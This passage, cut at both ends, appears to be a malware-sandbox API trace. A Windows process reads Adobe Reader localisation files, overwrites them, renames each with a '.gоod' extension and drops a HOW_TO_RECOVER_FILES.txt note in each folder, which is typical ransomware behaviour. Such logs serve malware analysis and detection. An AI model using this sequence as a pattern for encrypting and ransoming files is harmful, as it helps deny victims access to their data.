ftLastWriteTime.dwLowDateTime=0x96d66707, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x590)) returned 1 [0259.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0259.424] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js.gоod")) returned 1 [0262.026] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0262.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0262.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0262.069] GetFileType (hFile=0x864) returned 0x1 [0262.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0262.069] GetFileType (hFile=0x864) returned 0x1 [0262.069] WriteFile (in: hFile=0x864, lpBuffer=0x39e2348*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x39e2348*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0262.070] CloseHandle (hObject=0x864) returned 1 [0262.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0262.070] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu", lpFilePart=0x0) returned 0x77 [0262.070] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0262.071] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.071] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.071] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.071] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0262.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0262.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0262.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0262.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu", lpFilePart=0x0) returned 0x77 [0262.072] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0262.072] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.072] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.072] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.072] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0262.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0262.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0262.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0262.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0262.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39fa908 | out: lpFileInformation=0x39fa908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593)) returned 1 [0262.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0262.073] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0262.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0262.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0262.073] GetFileType (hFile=0x864) returned 0x1 [0262.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0262.073] GetFileType (hFile=0x864) returned 0x1 [0262.073] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x593 [0262.073] ReadFile (in: hFile=0x864, lpBuffer=0x39fb248, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x39fb248*, lpNumberOfBytesRead=0x202ec278*=0x593, lpOverlapped=0x0) returned 1 [0262.074] CloseHandle (hObject=0x864) returned 1 [0262.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0262.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0262.203] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0262.205] GetFileType (hFile=0x864) returned 0x1 [0262.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0262.205] GetFileType (hFile=0x864) returned 0x1 [0262.205] WriteFile (in: hFile=0x864, lpBuffer=0x38a62d8*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x38a62d8*, lpNumberOfBytesWritten=0x202ec188*=0x5a0, lpOverlapped=0x0) returned 1 [0262.206] CloseHandle (hObject=0x864) returned 1 [0262.206] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0262.206] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0262.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0262.206] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x987f9d55, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5a0)) returned 1 [0262.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0262.206] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js.gоod")) returned 1 [0262.208] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0262.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0262.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0262.209] GetFileType (hFile=0x864) returned 0x1 [0262.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0262.209] GetFileType (hFile=0x864) returned 0x1 [0262.210] WriteFile (in: hFile=0x864, lpBuffer=0x38a9be8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x38a9be8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0262.210] CloseHandle (hObject=0x864) returned 1 [0262.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0262.211] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it", lpFilePart=0x0) returned 0x77 [0262.211] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0263.195] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.196] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.196] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.196] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0263.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0263.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0263.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0263.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it", lpFilePart=0x0) returned 0x77 [0263.196] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0263.196] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.197] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.197] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.197] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0263.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0263.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0263.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0263.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0263.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3aee4b0 | out: lpFileInformation=0x3aee4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x562)) returned 1 [0263.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0263.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0263.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0263.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0263.198] GetFileType (hFile=0x86c) returned 0x1 [0263.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0263.198] GetFileType (hFile=0x86c) 